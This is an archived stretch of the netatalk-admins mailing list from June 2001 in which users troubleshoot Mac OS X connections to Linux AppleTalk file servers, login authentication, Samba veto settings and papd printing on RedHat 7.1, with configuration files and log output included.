	Fri, 1 Jun 2001 16:23:05 -0400 (EDT)
Received: (from boris@localhost)
	by griddle.infoplease.com (8.9.3/8.9.1) id QAA12886;
	Fri, 1 Jun 2001 16:23:06 -0400
From: <boris@range.infoplease.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15127.63914.43307.377207@griddle.infoplease.com>
Date: Fri, 1 Jun 2001 16:23:06 -0400
To: Brian Hendrickson <brian@megapump.com>
Cc: "Pedro Miguel F. Custodio" <pecus@netvisao.pt>, netatalk-admins@umich.edu
Subject: Re: MacOS X vs Linux HELP.
In-Reply-To: <Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
References: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
	<Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
X-Mailer: VM 6.84 under Emacs 21.0.96.1
X-Attribution: Bng

>>>>> Brian Hendrickson writes:
BH> I'm sure the developers are sorting all of this out right now for the
BH> next release, but if anybody knows how to configure netatalk for Mac OS X,
BH> please post to the list, thanks!

There are some useful discussions of this issue on the OS X discussion
boards at apple.com.  For example, see this thread:
    http://discussions.info.apple.com/WebX?13@@.eedb03f/8
(registration required).

The bottom line is that there is one, and apparently only one, version
of netatalk that works with Mac OS X right now:
    ftp://ftp.cobaltnet.com/pub/users/asun/testing/pre-asun2.1.4-37b.tar.gz
which is version netatalk-1.4b2+asun2.1.4-pre37b.  

Some people additionally suggest adding -DUSE_FLOCK_LOCKS to the compile flags.

Thanks to Richard Eisenman for figuring this out!

No guarantees, but I'm using this combination and it is working pretty
well.  I do hope someone can figure out what this version does
differently, and patch the newer versions to work with OS X too.

Bng
--
Boris Goldowsky            Director of Engineering & Development
Information Please         boris@infoplease.com
www.infoplease.com         617 542-6500 x 2324

From netatalk.administrators-errors@umich.edu  Fri Jun  1 16:40:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA03110
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 16:40:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA13064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 16:40:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA13059
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 16:40:00 -0400 (EDT)
Received: from hunter.hating.com (hunter.hating.com [206.83.160.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA13039
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 16:39:59 -0400 (EDT)
Received: (qmail 17543 invoked by uid 523); 1 Jun 2001 20:39:24 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 1 Jun 2001 20:39:24 -0000
Date: Fri, 1 Jun 2001 13:39:24 -0700 (PDT)
From: Brendan Braybrook <erase@ming.org>
X-X-Sender:  <erase@hunter>
To: <netatalk-admins@umich.edu>
Subject: Re: MacOS X vs Linux HELP.
In-Reply-To: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
Message-ID: <Pine.LNX.4.32.0106011337500.17392-100000@hunter>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> I've instaled the MacOS X in my iMacDV and everything worked fine unitl
> i've tried to mount my home directory in my linux box. The MacOS does
> login in my machine but disconnects imediatly after, so i can't access my
> files on linux. I've tried to workout with afpd.conf but i still can't
> manage to workit out.

not that this helps with the problem of osx not talking to afpd, but why
don't you just export your home directory via NFS and mount it in macos
that way instead?


From netatalk.administrators-errors@umich.edu  Fri Jun  1 16:44:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA03224
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 16:44:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA16130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 16:44:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA16123
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 16:44:01 -0400 (EDT)
Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA16100
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 16:43:59 -0400 (EDT)
Received: from [192.168.1.5] (p3E9BB218.dip.t-dialin.net [62.155.178.24])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id WAA20934
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 22:43:58 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: ckh@oes.de@post.strato.de
Message-Id: <a05010401b73db067fddd@[192.168.1.5]>
Date: Fri, 1 Jun 2001 22:50:55 +0200
To: netatalk-admins@umich.edu
From: Klaus & Colette Hornig <ckh@oes.de>
Subject: unsubscribe
Content-Type: text/plain; charset="us-ascii"



From netatalk.administrators-errors@umich.edu  Sat Jun  2 00:35:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA17557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Jun 2001 00:35:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Jun 2001 00:35:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17004
	for netatalk.administrators-members@umich.edu; Sat, 2 Jun 2001 00:35:46 -0400 (EDT)
Received: from mail2.rdc2.bc.home.com (mail2.rdc2.bc.home.com [24.2.10.85])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA16995
	for <netatalk-admins@umich.edu>; Sat, 2 Jun 2001 00:35:45 -0400 (EDT)
Received: from [192.168.198.5] ([24.112.122.117]) by mail2.rdc2.bc.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20010602043555.FFZO862.mail2.rdc2.bc.home.com@[192.168.198.5]>
          for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 21:35:55 -0700
Mime-Version: 1.0
X-Sender: cunningh@mail.nvcr1.bc.wave.home.com
Message-Id: <a05100301b73e1a8fec0a@[192.168.198.5]>
Date: Fri, 1 Jun 2001 21:35:50 -0700
To: netatalk-admins@umich.edu
From: Ken Cunningham <cunningham@medicalrounds.com>
Subject: Can't login to Netatalk
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello, all

I've been using Netatalk without problem for a couple of years now, 
on Redhat 6.1, and it's worked fine. Recently I upgraded to RedHat 
7.1 to get the new version of various things, and upgraded at that 
time to Netatalk 1.5pre6 but I couldn't log in with my new MacOSX 
machines.(MacOS 9.1, etc, all worked fine.) So, now I'm using 
Netatalk "pre-asun2.1.4-37b", which I've read on the net works with 
MacOSX clients.

My problem: I can't log in as anything but a guest user. None of the 
authentication methods seem to work; they all list as being 'not 
found', except for randnum, which works, but won't allow me to log in.

Any help, ideas?

Thank you,

Ken





Here's my configuration:

afpd.conf:

"LinuxBox" -transall


AppleVolumes.default:

~ Homes


AppleVolumes.system:

(only the file mapping items)

atalkd.conf:

(blank)


netatalk.pamd:

#%PAM-1.0
auth       required	/lib/security/pam_pwdb.so shadow
account    required	/lib/security/pam_pwdb.so
#password   required	/lib/security/pam_cracklib.so
#password   required	/lib/security/pam_pwdb.so shadow use_authtok
session    required	/lib/security/pam_pwdb.so



netatalk.conf:

# Appletalk configuration
# Change this to increase the maximum number of clients that can connect:
AFPD_MAX_CLIENTS=20

# Change this to set the machine's atalk name and zone.
# NOTE: if you're zone has spaces in it, you're better off specifying
#       it in afpd.conf
#ATALK_ZONE=@zone
ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`

# specify this if you don't want guest, clrtxt, and dhx
# available options: uams_guest.so, uams_clrtxt.so, uams_dhx.so,
# 		     uams_randnum.so
#AFPD_UAMLIST="-U uams_clrtxt.so,uams_randnum.so"

# Change this to set the id of the guest user
AFPD_GUEST=nobody

# Set which daemons to run:
PAPD_RUN=yes
AFPD_RUN=yes

# Control whether the daemons are started in the background
ATALK_BGROUND=yes








-- 

From netatalk.administrators-errors@umich.edu  Sat Jun  2 14:55:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20267
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Jun 2001 14:55:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16250
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Jun 2001 14:55:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16246
	for netatalk.administrators-members@umich.edu; Sat, 2 Jun 2001 14:55:47 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA16186
	for <netatalk-admins@umich.edu>; Sat, 2 Jun 2001 14:55:42 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000076950; Sat, 02 Jun 2001 20:51:54 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310100b73edec09774@[192.168.1.201]>
In-Reply-To: <15127.63914.43307.377207@griddle.infoplease.com>
References: 
 <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
 <Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
 <15127.63914.43307.377207@griddle.infoplease.com>
Date: Sat, 2 Jun 2001 20:55:18 +0200
To: <boris@range.infoplease.com>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: MacOS X vs Linux HELP.
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 16:23 Uhr -0400 01.06.2001, boris@range.infoplease.com wrote:
> >>>>> Brian Hendrickson writes:
>BH> I'm sure the developers are sorting all of this out right now for the
>BH> next release, but if anybody knows how to configure netatalk for Mac OS X,
>BH> please post to the list, thanks!
>
>There are some useful discussions of this issue on the OS X discussion
>boards at apple.com.  For example, see this thread:
>    http://discussions.info.apple.com/WebX?13@@.eedb03f/8
>(registration required).

Among the posts here, one points out a phenomenon that made me stop using OSX and netatalk 1.4pre37_test (since with OS9, pre39 or 1.5p6 works better to me):
OSX panics when uploading files... I was using 10.0.1. Sometimes it took some time before the panic occurred. But it was almost sure it would pop up when uploading thousands of files.

>No guarantees, but I'm using this combination and it is working pretty
>well.  I do hope someone can figure out what this version does
>differently, and patch the newer versions to work with OS X too.

Are You using 10.0.3, and did You ever experience the panic? I'd like to give the OSX-monster a new try, but as every launching operation on this OS takes ages, being forced to reboot @ every upload isn't really a bargain.... (also considering that OS9.1 has never been as stable as it is now, on my G4...).

Earlier on this list, an Apple engeneer pointed out that one of the problems is related to the 'close fork' call.
Recently I found a message on the netatalk-devel list (to which I have not subscribed yet - just read sometimes), which could have some sort of an answer to the problem.
I am not experienced in patching C source, but maybe for those accustomed to it this is worth a look:

http://marc.theaimsgroup.com/?l=netatalk-devel&m=98678741702935&w=2


:-)

Lorenzo


From netatalk.administrators-errors@umich.edu  Sat Jun  2 15:57:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA21693
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Jun 2001 15:57:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA00640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Jun 2001 15:57:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA00638
	for netatalk.administrators-members@umich.edu; Sat, 2 Jun 2001 15:57:40 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA00630
	for <netatalk-admins@umich.edu>; Sat, 2 Jun 2001 15:57:38 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA20212;
	Sat, 2 Jun 2001 21:57:35 +0200
Date: Sat, 2 Jun 2001 21:57:35 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Ryan McBeth <ryan@mobiusnm.com>
Cc: netatalk-admins@umich.edu
Subject: Re: semi-off-topic: how to veto Mac-Icon files in Samba?
Message-ID: <20010602215735.A20004@rakete.joerdens.de>
References: <a04310106b7133509b73a@[192.168.1.201]> <v04210108b7133f6e5742@[216.155.36.73]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <v04210108b7133f6e5742@[216.155.36.73]>; from ryan@mobiusnm.com on Mon, Apr 30, 2001 at 12:13:11PM -0400
X-Subliminal-Message: Use Linux! Use Linux!

On Mon, Apr 30, 2001 at 12:13:11PM -0400, Ryan McBeth wrote:
> 
> 	Lorenzo, just drop this into your smb.conf file and edit away 
> what you don't need.
> 
> veto files = 
> /*Security*/*root*/.AppleDouble/.bin/.AppleDesktop/Network Trash 
> Folder/.Parent/Icon?/Desktop/DesktopFolderDB/

I tried that for a while until I noticed that Samba then vetoes anything
that starts with Icon*, e.g. files that are named >Icon< or >Icons< . .
. since this a graphics shop, people do name their files like that now
and then . . . 

Maybe the Samba config file parser is not capable of coping with this,
since it assumes that >Icon?< is a regular expression.  You'd probably
need to hack the Samba source, search for the code that does the
vetoing, and then tweak it according to your needs, or maybe find that
there is a way to represent the funny character at the end of the
Icon (does anyone know what it is in hex, or how to find out what it
is?) files correctly for the config file parser . . . ugh.

I am resigned to the fact that some things simply don't work too
perfectly in a mixed PC/Mac environment with Netatalk/Samba. Overall I
must say though that we don't have many problems (I think it's funny
that the, theoretically, gravest issue, the locking problem, has not
caused _any_ hiccups in almost a year of mostly smooth operation).

Cheers, Frank

From netatalk.administrators-errors@umich.edu  Sun Jun  3 13:09:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA21243
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Jun 2001 13:09:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA17959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Jun 2001 13:09:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA17954
	for netatalk.administrators-members@umich.edu; Sun, 3 Jun 2001 13:09:05 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA17928
	for <netatalk-admins@umich.edu>; Sun, 3 Jun 2001 13:09:03 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000077066 for <netatalk-admins@umich.edu>; Sun, 03 Jun 2001 19:05:12 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a04310101b73f556e799d@[192.168.1.201]>
Date: Sun, 3 Jun 2001 16:00:00 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Fwd: directory alias problem workaround / logout script
Content-Type: text/plain; charset="us-ascii"

to whom it might concern...

I updated the  script posted some time ago... it now makes also aliases that open the originals instead of revealing them (a dialog pops up and asks you reveal/open), and you can drop as many items at once as you want on it.

still on
http://lorenzo.yellowspace.net/scriptfarm/download/NetAliasApplet.sit

another extremely simple script, but useful:
http://lorenzo.yellowspace.net/scriptfarm/download/AppleShareLogout.sit
(unmounts all server volumes)

my original message:

>Resent-Date: Sat, 12 May 2001 14:07:00 -0400 (EDT)
>X-Sender: lopez.on.the.lists@mail.yellowspace.net
>Date: Sat, 12 May 2001 19:58:04 +0200
>To: netatalk-admins@umich.edu
>From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
>Subject: directory alias problem workaround
>Resent-From: netatalk-admins@umich.edu
>X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/4511
>X-Loop: netatalk-admins@umich.edu
>Resent-Sender: netatalk-admins-request@umich.edu
>
>Hi there,
>
>I've written a small AppleScript that makes 'path-based aliases' and reveals the original upon double-click on the 'alias'.
>This is because we have some standard directories (which we don't move) on our netatalk servers to which we'd LIKE to have aliases to but can't because netatalk always gives a new ID to directories from session to session.
>
>If anybody thinks (s)he can need it, it is freely available at
>
>http://lorenzo.yellowspace.net/scriptfarm/download/NetAliasApplet.sit
>
>:-)
>
>Lorenzo
>
>p.s.
>
>notes:
>
>-  I modified the script with ResEdit to have it work like an application with its own signature (N1ta). So if You wish to edit it, make a new script, save it as a compiled applet, then copy the 'scpt' resource of the script to your template, edit it, then copy back the scpt resource.
>- It should work on OS X (and needs the CarbonLib). But anyway, OSX doesnt really speak to netatalk yet, so...
>- It can not be run from the share (ask Apple why?)
>- nifty icon! ;-0
>- this is no solution - just a workaround!


From netatalk.administrators-errors@umich.edu  Sun Jun  3 17:43:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA01428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 3 Jun 2001 17:43:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 3 Jun 2001 17:43:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23037
	for netatalk.administrators-members@umich.edu; Sun, 3 Jun 2001 17:43:05 -0400 (EDT)
Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA23014
	for <netatalk-admins@umich.edu>; Sun, 3 Jun 2001 17:43:03 -0400 (EDT)
Received: from [128.104.120.37] by mail5.doit.wisc.edu
          id QAA26790 (8.9.1/50); Sun, 3 Jun 2001 16:43:02 -0500
Mime-Version: 1.0
X-Sender: wemassha@facstaff.wisc.edu
Message-Id: <p05100301b7405d57d35c@[128.104.120.37]>
Date: Sun, 3 Jun 2001 16:43:04 -0500
To: netatalk-admins@umich.edu
From: Wade Masshardt <WadeMasshardt@uwalumni.com>
Subject: Printing problem under RedHat 7.1
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I'm trying to get papd working on my RedHat 7.1 box with a HP 2100M 
hooked to the parallel port (/dev/lp0). I can print fine from the 
console on that machine and from Windows machines (via samba), but I 
can't seem to get papd configured quite right. I've been following 
the documents on the web 
(<http://www.linuxdoc.org/LDP/lame/LAME/linux-admin-made-easy/netatalk-file-and-print.html>, 
<http://www.umich.edu/~rsug/netatalk/>, 
<http://thehamptons.com/anders/netatalk/>, and 
<http://www.giub.unibe.ch/~eugster/appleprint.html> but I'm still 
running into problems. Here is my /etc/printcap (the none-comment 
lines) for reference:

lp|HP2100M:\
         :sh:\
         :ml=0:\
         :mx=0:\
         :sd=/var/spool/lpd/lp:\
         :lp=/dev/lp0:\
         :lpd_bounce=true:\
         :if=/usr/share/printconf/mf_wrapper:

My /etc/atalk/papd.conf:

HP-LaserJet-2100M:\
         :pr=lp:op=operator:\
         :pd=/etc/atalk/HPLaserJet2100.PPD:

The printer shows up in my Mac's Chooser as "HP-LaserJet-2100M", so 
that seems to be working. When I print, the job gets spooled and 
nothing ever comes out. Here is what is in /var/log/messages:

papd[26370]: lp_conn_unix connect /dev/printer: No such file or directory
papd[26370]: lp_print: lp_conn_unix: No such file or directory
papd[26340]: child 26370 done

(at this point, I made a symlink from /dev/printer to /dev/lp0 and tried again)

papd[26340]: child 26387 for "HP-LaserJet-2100M" from 65280.128
papd[26387]: lp_conn_unix connect /dev/printer: Connection refused
papd[26387]: lp_print: lp_conn_unix: Connection refused
papd[26340]: child 26387 done


I'm pretty much scratching my head over this, so any help would be appreciated.
-- 
+----------------------------+-------------------------------------+
|       Wade Masshardt       |  The Wisconsin Alumni Association   |
|  Tech Support Coordinator  |                                     |
|        608-265-8766        |       <http://uwalumni.com/>        |
+----------------------------+-------------------------------------+
|                <mailto:WadeMasshardt@uwalumni.com>               |
+------------------------------------------------------------------+

From netatalk.administrators-errors@umich.edu  Mon Jun  4 01:58:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA13369
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Jun 2001 01:58:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA13565
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Jun 2001 01:58:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA13560
	for netatalk.administrators-members@umich.edu; Mon, 4 Jun 2001 01:58:19 -0400 (EDT)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA13539
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 01:58:18 -0400 (EDT)
Received: from localhost ([63.204.212.189])
	by gromit.daemonize.com (8.11.3/8.11.3) with ESMTP id f545tju02455;
	Sun, 3 Jun 2001 22:55:45 -0700
Message-Id: <200106040555.f545tju02455@gromit.daemonize.com>
Date: Sun, 3 Jun 2001 22:58:12 -0700
From: Paul Krohn <pkrohn@daemonize.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Printing problem under RedHat 7.1
Cc: netatalk-admins@umich.edu
To: Wade Masshardt <WadeMasshardt@uwalumni.com>
X-Mailer: Apple Mail (2.388)
In-Reply-To: <p05100301b7405d57d35c@[128.104.120.37]>
Mime-Version: 1.0 (Apple Message framework v388)
Content-Transfer-Encoding: 7bit

it's late, so a blind guess seems appropriate:

'operator' doesn't have adequate permissions on /dev/lp0.

by default (on my rh 5 system), permissions are:

> crw-r-----   1 root     daemon     6,   0 Dec 31  1979 lp0

and 'operator' isn't in the 'daemon' group.

On Sunday, June 3, 2001, at 02:43 PM, Wade Masshardt wrote:

> I'm trying to get papd working on my RedHat 7.1 box with a HP 2100M 
> hooked to the parallel port (/dev/lp0). I can print fine from the console 
> on that machine and from Windows machines (via samba), but I can't seem 
> to get papd configured quite right. I've been following the documents on 
> the web (<http://www.linuxdoc.org/LDP/lame/LAME/linux-admin-made-
> easy/netatalk-file-and-print.html>, <http://www.umich.edu/~rsug/netatalk/
> >, <http://thehamptons.com/anders/netatalk/>, and <http://www.giub.unibe.
> ch/~eugster/appleprint.html> but I'm still running into problems. Here is 
> my /etc/printcap (the none-comment lines) for reference:
>
> lp|HP2100M:\
>         :sh:\
>         :ml=0:\
>         :mx=0:\
>         :sd=/var/spool/lpd/lp:\
>         :lp=/dev/lp0:\
>         :lpd_bounce=true:\
>         :if=/usr/share/printconf/mf_wrapper:
>
> My /etc/atalk/papd.conf:
>
> HP-LaserJet-2100M:\
>         :pr=lp:op=operator:\
>         :pd=/etc/atalk/HPLaserJet2100.PPD:
>
> The printer shows up in my Mac's Chooser as "HP-LaserJet-2100M", so that 
> seems to be working. When I print, the job gets spooled and nothing ever 
> comes out. Here is what is in /var/log/messages:
>
> papd[26370]: lp_conn_unix connect /dev/printer: No such file or directory
> papd[26370]: lp_print: lp_conn_unix: No such file or directory
> papd[26340]: child 26370 done
>
> (at this point, I made a symlink from /dev/printer to /dev/lp0 and tried 
> again)
>
> papd[26340]: child 26387 for "HP-LaserJet-2100M" from 65280.128
> papd[26387]: lp_conn_unix connect /dev/printer: Connection refused
> papd[26387]: lp_print: lp_conn_unix: Connection refused
> papd[26340]: child 26387 done
>
>
> I'm pretty much scratching my head over this, so any help would be 
> appreciated.
> -- +----------------------------+-------------------------------------+
> |       Wade Masshardt       |  The Wisconsin Alumni Association   |
> |  Tech Support Coordinator  |                                     |
> |        608-265-8766        |       <http://uwalumni.com/>        |
> +----------------------------+-------------------------------------+
> |                <mailto:WadeMasshardt@uwalumni.com>               |
> +------------------------------------------------------------------+

From netatalk.administrators-errors@umich.edu  Mon Jun  4 09:39:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA25887
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Jun 2001 09:39:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA18064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Jun 2001 09:39:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA18038
	for netatalk.administrators-members@umich.edu; Mon, 4 Jun 2001 09:39:34 -0400 (EDT)
Received: from mail156.nifty.com (mail156.nifty.com [202.248.37.168])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA17873
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 09:39:22 -0400 (EDT)
Received: from m800lmrwin98.nifty.com
	by mail156.nifty.com (8.9.3+3.2W/3.7W-10/13/99) with ESMTP id WAA07737
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 22:39:11 +0900
Message-Id: <4.3.2-J.20010604223845.00af5520@smtp.nifty.com>
X-Sender: CBL10067/pop.nifty.com@pop3.norton.antivirus
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2-J
Date: Mon, 04 Jun 2001 22:39:10 +0900
To: netatalk-admins@umich.edu
From: =?ISO-2022-JP?B?IhskQk9CRUQhIU06PCEbKEIi?= <yujiwada@nifty.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

help 


From netatalk.administrators-errors@umich.edu  Mon Jun  4 10:46:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28211
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Jun 2001 10:46:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29492
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Jun 2001 10:46:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29480
	for netatalk.administrators-members@umich.edu; Mon, 4 Jun 2001 10:46:45 -0400 (EDT)
Received: from alert.infoplease.com (range.infoplease.com [207.121.98.49])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA29444
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 10:46:43 -0400 (EDT)
Received: from griddle.infoplease.com (IDENT:root@griddle [10.0.1.210])
	by alert.infoplease.com (8.11.0/8.11.0) with ESMTP id f54Ekfu09491;
	Mon, 4 Jun 2001 10:46:41 -0400 (EDT)
Received: (from boris@localhost)
	by griddle.infoplease.com (8.9.3/8.9.1) id KAA22151;
